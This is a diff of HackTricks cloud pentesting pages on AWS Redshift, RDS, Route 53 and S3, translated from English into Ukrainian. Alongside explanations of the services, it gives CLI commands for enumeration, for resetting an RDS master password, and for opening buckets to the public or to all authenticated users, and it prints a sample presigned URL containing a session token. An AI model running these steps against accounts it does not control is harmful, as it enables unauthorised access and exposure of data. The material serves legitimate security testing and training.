-Using Redshift with CloudHSM +Використання Redshift з CloudHSM -When working with CloudHSM to perform your encryption, firstly you must set up a trusted connection between your HSM client and Redshift while using client and server certificates. +Коли ви працюєте з CloudHSM для виконання шифрування, спочатку ви повинні налаштувати довірене з'єднання між вашим HSM-клієнтом і Redshift, використовуючи сертифікати клієнта та сервера. -This connection is required to provide secure communications, allowing encryption keys to be sent between your HSM client and your Redshift clusters. Using a randomly generated private and public key pair, Redshift creates a public client certificate, which is encrypted and stored by Redshift. This must be downloaded and registered to your HSM client, and assigned to the correct HSM partition. +Це з'єднання необхідне для забезпечення безпечних комунікацій, що дозволяє шифрувальним ключам надсилатися між вашим HSM-клієнтом і вашими кластерами Redshift. Використовуючи випадковим чином згенеровану пару приватного та публічного ключів, Redshift створює публічний сертифікат клієнта, який шифрується та зберігається Redshift. Цей сертифікат потрібно завантажити та зареєструвати у вашому HSM-клієнті та призначити правильній HSM-партії. -You must then configure Redshift with the following details of your HSM client: the HSM IP address, the HSM partition name, the HSM partition password, and the public HSM server certificate, which is encrypted by CloudHSM using an internal master key. Once this information has been provided, Redshift will confirm and verify that it can connect and access development partition. +Ви повинні налаштувати Redshift з наступними даними вашого HSM-клієнта: IP-адреса HSM, назва HSM-партії, пароль HSM-партії та публічний сертифікат HSM-сервера, який шифрується CloudHSM за допомогою внутрішнього головного ключа. Після надання цієї інформації Redshift підтвердить та перевірить, що може підключитися та отримати доступ до розробницької партії. -If your internal security policies or governance controls dictate that you must apply key rotation, then this is possible with Redshift enabling you to rotate encryption keys for encrypted clusters, however, you do need to be aware that during the key rotation process, it will make a cluster unavailable for a very short period of time, and so it's best to only rotate keys as and when you need to, or if you feel they may have been compromised. +Якщо ваші внутрішні політики безпеки або контроль управління вимагають, щоб ви застосовували ротацію ключів, то це можливо з Redshift, що дозволяє вам обертати шифрувальні ключі для зашифрованих кластерів, однак вам потрібно бути обізнаним, що під час процесу ротації ключів кластер буде недоступний на дуже короткий період часу, тому краще обертати ключі лише тоді, коли це необхідно, або якщо ви вважаєте, що вони могли бути скомпрометовані. -During the rotation, Redshift will rotate the CEK for your cluster and for any backups of that cluster. It will rotate a DEK for the cluster but it's not possible to rotate a DEK for the snapshots stored in S3 that have been encrypted using the DEK. It will put the cluster into a state of 'rotating keys' until the process is completed when the status will return to 'available'. +Під час ротації Redshift оберне CEK для вашого кластера та для будь-яких резервних копій цього кластера. Він оберне DEK для кластера, але неможливо обернути DEK для знімків, збережених у S3, які були зашифровані за допомогою DEK. Він переведе кластер у стан "обертання ключів" до завершення процесу, коли статус повернеться до "доступний".
### Enumeration - ```bash # Get clusters aws redshift describe-clusters @@ -82,7 +81,6 @@ aws redshift describe-scheduled-actions # The redshift instance must be publicly available (not by default), the sg need to allow inbounds connections to the port and you need creds psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U admin -d dev -p 5439 ``` - ## Privesc {{#ref}} @@ -91,13 +89,9 @@ psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U adm ## Persistence -The following actions allow to grant access to other AWS accounts to the cluster: +Наступні дії дозволяють надати доступ до інших облікових записів AWS до кластера: - [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html) - [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 473369403..8a4f364dd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -2,76 +2,75 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація -The **Relational Database Service (RDS)** offered by AWS is designed to streamline the deployment, operation, and scaling of a **relational database in the cloud**. This service offers the advantages of cost efficiency and scalability while automating labor-intensive tasks like hardware provisioning, database configuration, patching, and backups. +**Служба реляційних баз даних (RDS)**, що пропонується AWS, призначена для спрощення розгортання, експлуатації та масштабування **реляційної бази даних у хмарі**. Ця служба пропонує переваги економії витрат і масштабованості, автоматизуючи трудомісткі завдання, такі як постачання апаратного забезпечення, налаштування бази даних, патчинг і резервне копіювання. -AWS RDS supports various widely-used relational database engines including MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, and Amazon Aurora, with compatibility for both MySQL and PostgreSQL. +AWS RDS підтримує різні широко використовувані реляційні бази даних, включаючи MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server та Amazon Aurora, з сумісністю як з MySQL, так і з PostgreSQL. -Key features of RDS include: +Ключові особливості RDS включають: -- **Management of database instances** is simplified. -- Creation of **read replicas** to enhance read performance. -- Configuration of **multi-Availability Zone (AZ) deployments** to ensure high availability and failover mechanisms. -- **Integration** with other AWS services, such as: - - AWS Identity and Access Management (**IAM**) for robust access control. - - AWS **CloudWatch** for comprehensive monitoring and metrics. - - AWS Key Management Service (**KMS**) for ensuring encryption at rest. +- **Управління екземплярами бази даних** спрощено. +- Створення **реплік для читання** для покращення продуктивності читання. +- Налаштування **мульти-зональних (AZ) розгортань** для забезпечення високої доступності та механізмів відмови. +- **Інтеграція** з іншими службами AWS, такими як: +- AWS Identity and Access Management (**IAM**) для надійного контролю доступу. +- AWS **CloudWatch** для всебічного моніторингу та метрик. +- AWS Key Management Service (**KMS**) для забезпечення шифрування в спокої. -## Credentials +## Облікові дані -When creating the DB cluster the master **username** can be configured (**`admin`** by default). To generate the password of this user you can: +При створенні кластера БД майстерний **ім'я користувача** може бути налаштоване (**`admin`** за замовчуванням). Щоб згенерувати пароль цього користувача, ви можете: -- **Indicate** a **password** yourself -- Tell RDS to **auto generate** it -- Tell RDS to manage it in **AWS Secret Manager** encrypted with a KMS key +- **Вказати** **пароль** самостійно +- Сказати RDS **автоматично згенерувати** його +- Сказати RDS керувати ним у **AWS Secret Manager**, зашифрованому за допомогою ключа KMS
-### Authentication +### Аутентифікація -There are 3 types of authentication options, but using the **master password is always allowed**: +Існує 3 типи варіантів аутентифікації, але використання **майстерного пароля завжди дозволено**:
-### Public Access & VPC +### Публічний доступ та VPC -By default **no public access is granted** to the databases, however it **could be granted**. Therefore, by default only machines from the same VPC will be able to access it if the selected **security group** (are stored in EC2 SG)allows it. +За замовчуванням **публічний доступ не надається** до баз даних, однак він **може бути наданий**. Тому за замовчуванням лише машини з тієї ж VPC зможуть отримати доступ до неї, якщо вибрана **група безпеки** (зберігається в EC2 SG) це дозволяє. -Instead of exposing a DB instance, it’s possible to create a **RDS Proxy** which **improves** the **scalability** & **availability** of the DB cluster. +Замість того, щоб відкривати екземпляр БД, можна створити **RDS Proxy**, який **покращує** **масштабованість** та **доступність** кластера БД. -Moreover, the **database port can be modified** also. +Більше того, **порт бази даних також може бути змінений**. -### Encryption +### Шифрування -**Encryption is enabled by default** using a AWS managed key (a CMK could be chosen instead). +**Шифрування увімкнено за замовчуванням** за допомогою керованого ключа AWS (може бути обрано CMK замість цього). -By enabling your encryption, you are enabling **encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**.\ -It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**. +Увімкнувши своє шифрування, ви увімкнули **шифрування в спокої для вашого сховища, знімків, реплік для читання та ваших резервних копій**. Ключі для управління цим шифруванням можуть бути видані за допомогою **KMS**.\ +Не можливо додати цей рівень шифрування після створення вашої бази даних. **Це потрібно зробити під час її створення**. -However, there is a **workaround allowing you to encrypt an unencrypted database as follows**. You can create a snapshot of your unencrypted database, create an encrypted copy of that snapshot, use that encrypted snapshot to create a new database, and then, finally, your database would then be encrypted. +Однак існує **обхідний шлях, що дозволяє вам зашифрувати незашифровану базу даних наступним чином**. Ви можете створити знімок вашої незашифрованої бази даних, створити зашифровану копію цього знімка, використати цей зашифрований знімок для створення нової бази даних, а потім, нарешті, ваша база даних буде зашифрована. -#### Transparent Data Encryption (TDE) +#### Прозоре шифрування даних (TDE) -Alongside the encryption capabilities inherent to RDS at the application level, RDS also supports **additional platform-level encryption mechanisms** to safeguard data at rest. This includes **Transparent Data Encryption (TDE)** for Oracle and SQL Server. However, it's crucial to note that while TDE enhances security by encrypting data at rest, it may also **affect database performance**. This performance impact is especially noticeable when used in conjunction with MySQL cryptographic functions or Microsoft Transact-SQL cryptographic functions. +Окрім можливостей шифрування, властивих RDS на рівні програми, RDS також підтримує **додаткові механізми шифрування на рівні платформи** для захисту даних у спокої. Це включає **Прозоре шифрування даних (TDE)** для Oracle та SQL Server. Однак важливо зазначити, що хоча TDE підвищує безпеку, шифруючи дані в спокої, це також може **вплинути на продуктивність бази даних**. Цей вплив на продуктивність особливо помітний при використанні разом з криптографічними функціями MySQL або криптографічними функціями Microsoft Transact-SQL. -To utilize TDE, certain preliminary steps are required: +Щоб використовувати TDE, необхідні певні попередні кроки: -1. **Option Group Association**: - - The database must be associated with an option group. Option groups serve as containers for settings and features, facilitating database management, including security enhancements. - - However, it's important to note that option groups are only available for specific database engines and versions. -2. **Inclusion of TDE in Option Group**: - - Once associated with an option group, the Oracle Transparent Data Encryption option needs to be included in that group. - - It's essential to recognize that once the TDE option is added to an option group, it becomes a permanent fixture and cannot be removed. -3. **TDE Encryption Modes**: - - TDE offers two distinct encryption modes: - - **TDE Tablespace Encryption**: This mode encrypts entire tables, providing a broader scope of data protection. - - **TDE Column Encryption**: This mode focuses on encrypting specific, individual elements within the database, allowing for more granular control over what data is encrypted. +1. **Асоціація групи параметрів**: +- База даних повинна бути асоційована з групою параметрів. Групи параметрів слугують контейнерами для налаштувань і функцій, полегшуючи управління базою даних, включаючи покращення безпеки. +- Однак важливо зазначити, що групи параметрів доступні лише для певних движків бази даних і версій. +2. **Включення TDE в групу параметрів**: +- Після асоціації з групою параметрів опція Oracle Transparent Data Encryption повинна бути включена в цю групу. +- Важливо усвідомлювати, що після додавання опції TDE до групи параметрів вона стає постійною частиною і не може бути видалена. +3. **Режими шифрування TDE**: +- TDE пропонує два різні режими шифрування: +- **Шифрування таблиць TDE**: Цей режим шифрує цілі таблиці, забезпечуючи ширший обсяг захисту даних. +- **Шифрування стовпців TDE**: Цей режим зосереджується на шифруванні конкретних, окремих елементів у базі даних, що дозволяє більш детально контролювати, які дані шифруються. -Understanding these prerequisites and the operational intricacies of TDE is crucial for effectively implementing and managing encryption within RDS, ensuring both data security and compliance with necessary standards. - -### Enumeration +Розуміння цих передумов і оперативних тонкощів TDE є важливим для ефективного впровадження та управління шифруванням у RDS, забезпечуючи як безпеку даних, так і відповідність необхідним стандартам. +### Перерахування ```bash # Clusters info ## Get Endpoints, username, port, iam auth enabled, attached roles, SG @@ -106,41 +105,36 @@ aws rds describe-db-proxy-targets ## reset credentials of MasterUsername aws rds modify-db-instance --db-instance-identifier --master-user-password --apply-immediately ``` - -### Unauthenticated Access +### Неавтентифікований доступ {{#ref}} ../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md {{#endref}} -### Privesc +### Підвищення привілеїв {{#ref}} ../aws-privilege-escalation/aws-rds-privesc.md {{#endref}} -### Post Exploitation +### Після експлуатації {{#ref}} ../aws-post-exploitation/aws-rds-post-exploitation.md {{#endref}} -### Persistence +### Постійність {{#ref}} ../aws-persistence/aws-rds-persistence.md {{#endref}} -### SQL Injection +### SQL-ін'єкція -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +Існують способи доступу до даних DynamoDB з використанням **SQL-синтаксису**, отже, типові **SQL-ін'єкції також можливі**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index c37002eb7..6b02445d4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -4,16 +4,15 @@ ## Route 53 -Amazon Route 53 is a cloud **Domain Name System (DNS)** web service.\ -You can create https, http and tcp **health checks for web pages** via Route53. +Amazon Route 53 - це хмарний **система доменних імен (DNS)** веб-сервіс.\ +Ви можете створювати https, http та tcp **перевірки стану веб-сторінок** через Route53. -### IP-based routing +### IP-орієнтоване маршрутизація -This is useful to tune your DNS routing to make the best DNS routing decisions for your end users.\ -IP-based routing offers you the additional ability to **optimize routing based on specific knowledge of your customer base**. - -### Enumeration +Це корисно для налаштування вашої DNS маршрутизації, щоб приймати найкращі рішення маршрутизації DNS для ваших кінцевих користувачів.\ +IP-орієнтоване маршрутизація надає вам додаткову можливість **оптимізувати маршрутизацію на основі специфічних знань про вашу клієнтську базу**. +### Перерахування ```bash aws route53 list-hosted-zones # Get domains aws route53 get-hosted-zone --id @@ -21,7 +20,6 @@ aws route53 list-resource-record-sets --hosted-zone-id # Get al aws route53 list-health-checks aws route53 list-traffic-policies ``` - ### Privesc {{#ref}} @@ -29,7 +27,3 @@ aws route53 list-traffic-policies {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 3133c0eac..49858c30d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -4,144 +4,137 @@ ## S3 -Amazon S3 is a service that allows you **store big amounts of data**. +Amazon S3 - це сервіс, який дозволяє вам **зберігати великі обсяги даних**. -Amazon S3 provides multiple options to achieve the **protection** of data at REST. The options include **Permission** (Policy), **Encryption** (Client and Server Side), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case. +Amazon S3 надає кілька варіантів для досягнення **захисту** даних у спокої. Варіанти включають **Дозволи** (Політика), **Шифрування** (Клієнтське та Серверне), **Версійність бакетів** та **MFA** **на основі видалення**. **Користувач може увімкнути** будь-який з цих варіантів для досягнення захисту даних. **Реплікація даних** - це внутрішня функція AWS, де **S3 автоматично реплікує кожен об'єкт по всіх зонах доступності**, і організації не потрібно її вмикати в цьому випадку. -With resource-based permissions, you can define permissions for sub-directories of your bucket separately. +З дозволами на основі ресурсів ви можете визначити дозволи для підкаталогів вашого бакету окремо. -### Bucket Versioning and MFA based delete +### Версійність бакетів та видалення на основі MFA -When bucket versioning is enabled, any action that tries to alter a file inside a file will generate a new version of the file, keeping also the previous content of the same. Therefore, it won't overwrite its content. +Коли версійність бакетів увімкнена, будь-яка дія, яка намагається змінити файл всередині файлу, створить нову версію файлу, зберігаючи також попередній вміст того ж файлу. Тому, він не перезапише свій вміст. -Moreover, MFA based delete will prevent versions of file in the S3 bucket from being deleted and also Bucket Versioning from being disabled, so an attacker won't be able to alter these files. +Більше того, видалення на основі MFA запобігатиме видаленню версій файлів у бакеті S3, а також відключенню версійності бакетів, тому зловмисник не зможе змінити ці файли. -### S3 Access logs +### Журнали доступу S3 -It's possible to **enable S3 access login** (which by default is disabled) to some bucket and save the logs in a different bucket to know who is accessing the bucket (both buckets must be in the same region). +Можливо **увімкнути журнали доступу S3** (які за замовчуванням вимкнені) для деякого бакету та зберігати журнали в іншому бакеті, щоб дізнатися, хто отримує доступ до бакету (обидва бакети повинні бути в одному регіоні). -### S3 Presigned URLs - -It's possible to generate a presigned URL that can usually be used to **access the specified file** in the bucket. A **presigned URL looks like this**: +### Пресигновані URL-адреси S3 +Можливо згенерувати пресигновану URL-адресу, яка зазвичай може бути використана для **доступу до вказаного файлу** в бакеті. **Пресигнована URL-адреса виглядає так**: ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` - -A presigned URL can be **created from the cli using credentials of a principal with access to the object** (if the account you use doesn't have access, a shorter presigned URL will be created but it will be useless) - +URL з попереднім підписом може бути **створено з cli, використовуючи облікові дані суб'єкта, який має доступ до об'єкта** (якщо обліковий запис, який ви використовуєте, не має доступу, буде створено коротший URL з попереднім підписом, але він буде марним) ```bash - aws s3 presign --region 's3:///' +aws s3 presign --region 's3:///' ``` - > [!NOTE] -> The only required permission to generate a presigned URL is the permission being given, so for the previous command the only permission needed by the principal is `s3:GetObject` - -It's also possible to create presigned URLs with **other permissions**: +> Єдине необхідне дозволення для генерації попередньо підписаного URL - це надане дозволення, тому для попередньої команди єдине дозволення, яке потрібно суб'єкту, - це `s3:GetObject` +Також можливо створювати попередньо підписані URL з **іншими дозволеннями**: ```python import boto3 url = boto3.client('s3').generate_presigned_url( - ClientMethod='put_object', - Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, - ExpiresIn=3600 +ClientMethod='put_object', +Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, +ExpiresIn=3600 ) ``` - ### S3 Encryption Mechanisms -**DEK means Data Encryption Key** and is the key that is always generated and used to encrypt data. +**DEK означає Ключ Шифрування Даних** і є ключем, який завжди генерується та використовується для шифрування даних.
-Server-side encryption with S3 managed keys, SSE-S3 +Шифрування на стороні сервера з ключами, керованими S3, SSE-S3 -This option requires minimal configuration and all management of encryption keys used are managed by AWS. All you need to do is to **upload your data and S3 will handle all other aspects**. Each bucket in a S3 account is assigned a bucket key. +Цей варіант вимагає мінімальної конфігурації, і все управління ключами шифрування здійснюється AWS. Все, що вам потрібно зробити, це **завантажити свої дані, і S3 впорається з усіма іншими аспектами**. Кожному бакету в обліковому записі S3 призначається ключ бакету. -- Encryption: - - Object Data + created plaintext DEK --> Encrypted data (stored inside S3) - - Created plaintext DEK + S3 Master Key --> Encrypted DEK (stored inside S3) and plain text is deleted from memory -- Decryption: - - Encrypted DEK + S3 Master Key --> Plaintext DEK - - Plaintext DEK + Encrypted data --> Object Data +- Шифрування: +- Дані об'єкта + створений відкритий DEK --> Зашифровані дані (зберігаються в S3) +- Створений відкритий DEK + Майстер-ключ S3 --> Зашифрований DEK (зберігається в S3) і відкритий текст видаляється з пам'яті +- Розшифрування: +- Зашифрований DEK + Майстер-ключ S3 --> Відкритий DEK +- Відкритий DEK + Зашифровані дані --> Дані об'єкта -Please, note that in this case **the key is managed by AWS** (rotation only every 3 years). If you use your own key you willbe able to rotate, disable and apply access control. +Зверніть увагу, що в цьому випадку **ключ управляється AWS** (обертання лише кожні 3 роки). Якщо ви використовуєте свій власний ключ, ви зможете обертати, відключати та застосовувати контроль доступу.
-Server-side encryption with KMS managed keys, SSE-KMS +Шифрування на стороні сервера з ключами, керованими KMS, SSE-KMS -This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail. +Цей метод дозволяє S3 використовувати службу управління ключами для генерації ваших ключів шифрування даних. KMS надає вам значно більшу гнучкість у тому, як управляються ваші ключі. Наприклад, ви можете відключати, обертати та застосовувати контроль доступу до CMK, а також контролювати їх використання за допомогою AWS Cloud Trail. -- Encryption: - - S3 request data keys from KMS CMK - - KMS uses a CMK to generate the pair DEK plaintext and DEK encrypted and send them to S£ - - S3 uses the paintext key to encrypt the data, store the encrypted data and the encrypted key and deletes from memory the plain text key -- Decryption: - - S3 ask to KMS to decrypt the encrypted data key of the object - - KMS decrypt the data key with the CMK and send it back to S3 - - S3 decrypts the object data +- Шифрування: +- S3 запитує ключі даних у KMS CMK +- KMS використовує CMK для генерації пари відкритого DEK і зашифрованого DEK та надсилає їх до S3 +- S3 використовує відкритий ключ для шифрування даних, зберігає зашифровані дані та зашифрований ключ і видаляє з пам'яті відкритий ключ +- Розшифрування: +- S3 запитує KMS для розшифрування зашифрованого ключа даних об'єкта +- KMS розшифровує ключ даних за допомогою CMK і надсилає його назад до S3 +- S3 розшифровує дані об'єкта
-Server-side encryption with customer provided keys, SSE-C +Шифрування на стороні сервера з ключами, наданими клієнтом, SSE-C -This option gives you the opportunity to provide your own master key that you may already be using outside of AWS. Your customer-provided key would then be sent with your data to S3, where S3 would then perform the encryption for you. +Цей варіант дає вам можливість надати свій власний майстер-ключ, який ви, можливо, вже використовуєте поза AWS. Ваш ключ, наданий клієнтом, буде надіслано разом з вашими даними до S3, де S3 виконає шифрування для вас. -- Encryption: - - The user sends the object data + Customer key to S3 - - The customer key is used to encrypt the data and the encrypted data is stored - - a salted HMAC value of the customer key is stored also for future key validation - - the customer key is deleted from memory -- Decryption: - - The user send the customer key - - The key is validated against the HMAC value stored - - The customer provided key is then used to decrypt the data +- Шифрування: +- Користувач надсилає дані об'єкта + Ключ клієнта до S3 +- Ключ клієнта використовується для шифрування даних, і зашифровані дані зберігаються +- також зберігається значення HMAC з сіллю ключа клієнта для майбутньої валідації ключа +- ключ клієнта видаляється з пам'яті +- Розшифрування: +- Користувач надсилає ключ клієнта +- Ключ перевіряється на відповідність збереженому значенню HMAC +- Ключ, наданий клієнтом, потім використовується для розшифрування даних
-Client-side encryption with KMS, CSE-KMS +Шифрування на стороні клієнта з KMS, CSE-KMS -Similarly to SSE-KMS, this also uses the key management service to generate your data encryption keys. However, this time KMS is called upon via the client not S3. The encryption then takes place client-side and the encrypted data is then sent to S3 to be stored. +Аналогічно до SSE-KMS, цей метод також використовує службу управління ключами для генерації ваших ключів шифрування даних. Однак цього разу KMS викликається через клієнта, а не S3. Шифрування відбувається на стороні клієнта, а зашифровані дані надсилаються до S3 для зберігання. -- Encryption: - - Client request for a data key to KMS - - KMS returns the plaintext DEK and the encrypted DEK with the CMK - - Both keys are sent back - - The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK (which is saved as metadata of the encrypted data inside S3) -- Decryption: - - The encrypted data with the encrypted DEK is sent to the client - - The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK - - The client can now decrypt the encrypted data +- Шифрування: +- Клієнт запитує ключ даних у KMS +- KMS повертає відкритий DEK і зашифрований DEK з CMK +- Обидва ключі надсилаються назад +- Клієнт шифрує дані за допомогою відкритого DEK і надсилає до S3 зашифровані дані + зашифрований DEK (який зберігається як метадані зашифрованих даних у S3) +- Розшифрування: +- Зашифровані дані з зашифрованим DEK надсилаються клієнту +- Клієнт запитує KMS для розшифрування зашифрованого ключа за допомогою CMK, і KMS надсилає назад відкритий DEK +- Тепер клієнт може розшифрувати зашифровані дані
-Client-side encryption with customer provided keys, CSE-C +Шифрування на стороні клієнта з ключами, наданими клієнтом, CSE-C -Using this mechanism, you are able to utilize your own provided keys and use an AWS-SDK client to encrypt your data before sending it to S3 for storage. +Використовуючи цей механізм, ви можете використовувати свої власні надані ключі та використовувати клієнт AWS-SDK для шифрування ваших даних перед їх надсиланням до S3 для зберігання. -- Encryption: - - The client generates a DEK and encrypts the plaintext data - - Then, using it's own custom CMK it encrypts the DEK - - submit the encrypted data + encrypted DEK to S3 where it's stored -- Decryption: - - S3 sends the encrypted data and DEK - - As the client already has the CMK used to encrypt the DEK, it decrypts the DEK and then uses the plaintext DEK to decrypt the data +- Шифрування: +- Клієнт генерує DEK і шифрує відкриті дані +- Потім, використовуючи свій власний кастомний CMK, він шифрує DEK +- надсилає зашифровані дані + зашифрований DEK до S3, де вони зберігаються +- Розшифрування: +- S3 надсилає зашифровані дані та DEK +- Оскільки клієнт вже має CMK, використаний для шифрування DEK, він розшифровує DEK, а потім використовує відкритий DEK для розшифрування даних
-### **Enumeration** - -One of the traditional main ways of compromising AWS orgs start by compromising buckets publicly accesible. **You can find** [**public buckets enumerators in this page**](../aws-unauthenticated-enum-access/#s3-buckets)**.** +### **Перерахування** +Один з традиційних основних способів компрометації організацій AWS починається з компрометації бакетів, які є публічно доступними. **Ви можете знайти** [**перерахувачі публічних бакетів на цій сторінці**](../aws-unauthenticated-enum-access/#s3-buckets)**.** ```bash # Get buckets ACLs aws s3api get-bucket-acl --bucket @@ -184,28 +177,28 @@ aws s3api list-objects --bucket BUCKETNAME --output json --query "[sum(Contents[ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ##JSON policy example { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } # Update bucket ACL @@ -218,35 +211,34 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### dual-stack -You can access an S3 bucket through a dual-stack endpoint by using a virtual hosted-style or a path-style endpoint name. These are useful to access S3 through IPv6. +Ви можете отримати доступ до S3 бакету через двосторонній кінцевий пункт, використовуючи віртуальне ім'я кінцевого пункту в стилі хостингу або в стилі шляху. Це корисно для доступу до S3 через IPv6. -Dual-stack endpoints use the following syntax: +Двосторонні кінцеві пункти використовують наступний синтаксис: - `bucketname.s3.dualstack.aws-region.amazonaws.com` - `s3.dualstack.aws-region.amazonaws.com/bucketname` ### Privesc -In the following page you can check how to **abuse S3 permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати дозволами S3 для ескалації привілеїв**: {{#ref}} ../aws-privilege-escalation/aws-s3-privesc.md @@ -274,22 +266,21 @@ In the following page you can check how to **abuse S3 permissions to escalate pr ### S3 HTTP Cache Poisoning Issue -[**According to this research**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) it was possible to cache the response of an arbitrary bucket as if it belonged to a different one. This could have been abused to change for example javascript file responses and compromise arbitrary pages using S3 to store static code. +[**Згідно з цим дослідженням**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) було можливим кешувати відповідь довільного бакету так, ніби вона належала іншому. Це могло бути зловжито для зміни, наприклад, відповідей файлів javascript і компрометації довільних сторінок, що використовують S3 для зберігання статичного коду. ## Amazon Athena -Amazon Athena is an interactive query service that makes it easy to **analyze data** directly in Amazon Simple Storage Service (Amazon **S3**) **using** standard **SQL**. +Amazon Athena — це інтерактивний сервіс запитів, який спрощує 